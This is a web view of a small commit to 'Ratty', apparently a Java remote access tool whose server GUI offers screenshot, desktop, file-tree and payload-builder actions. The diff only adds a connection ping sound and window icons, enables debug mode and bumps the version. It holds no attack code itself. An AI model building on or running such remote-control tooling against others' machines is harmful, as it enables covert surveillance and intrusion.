Browse Source

Small changes

Added ping sound
Fixes and cleanups
master
Sogomn 9 years ago
parent
commit
311cef1827
  1. BIN
      Ratty/res/ping.wav
  2. 4
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 2
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  4. 1
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  5. 3
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  6. 4
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

BIN
Ratty/res/ping.wav

4
Ratty/src/de/sogomn/rat/Ratty.java

@ -26,8 +26,8 @@ import de.sogomn.rat.server.gui.RattyGuiController;
*/
public final class Ratty {
public static final boolean DEBUG = false;
public static final String VERSION = "1.7";
public static final boolean DEBUG = true;
public static final String VERSION = "1.8";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;

2
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -45,6 +45,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
notifyListeners(controller -> controller.userInput(CLOSED));
}
};
final BufferedImage[] icons = RattyGui.GUI_ICONS.stream().toArray(BufferedImage[]::new);
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.setTitle(title);
@ -56,6 +57,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
screen.addListener(g -> {
g.drawImage(image, 0, 0, null);
});
screen.setIcons(icons);
return screen;
}

1
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -96,6 +96,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
frame.setPreferredSize(DEFAULT_SIZE);
frame.setContentPane(scrollPane);
frame.setIconImages(RattyGui.GUI_ICONS);
frame.pack();
frame.setLocationRelativeTo(null);
}

3
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -55,9 +55,10 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(GUI_ICON_SMALL, 64, 64);
private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(GUI_ICON_SMALL, 128, 128);
private static final BufferedImage GUI_ICON_HUGE = ImageUtils.scaleImage(GUI_ICON_SMALL, 256, 256);
private static final List<BufferedImage> GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE, GUI_ICON_HUGE);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_menu_icons.png"), 2), 16 * 2, 16 * 2).getSprites();
public static final List<BufferedImage> GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE, GUI_ICON_HUGE);
public static final String POPUP = LANGUAGE.getString("action.popup");
public static final String SCREENSHOT = LANGUAGE.getString("action.screenshot");
public static final String DESKTOP = LANGUAGE.getString("action.desktop");

4
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -54,6 +54,8 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question");
private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
private static final Sound PING = Sound.loadSound("/ping.wav");
public RattyGuiController() {
gui = new RattyGui();
clients = new HashMap<ActiveConnection, ServerClient>();
@ -441,6 +443,8 @@ public final class RattyGuiController extends AbstractRattyController implements
super.connected(server, connection);
clients.put(connection, client);
PING.play();
}
@Override

Loading…
Cancel
Save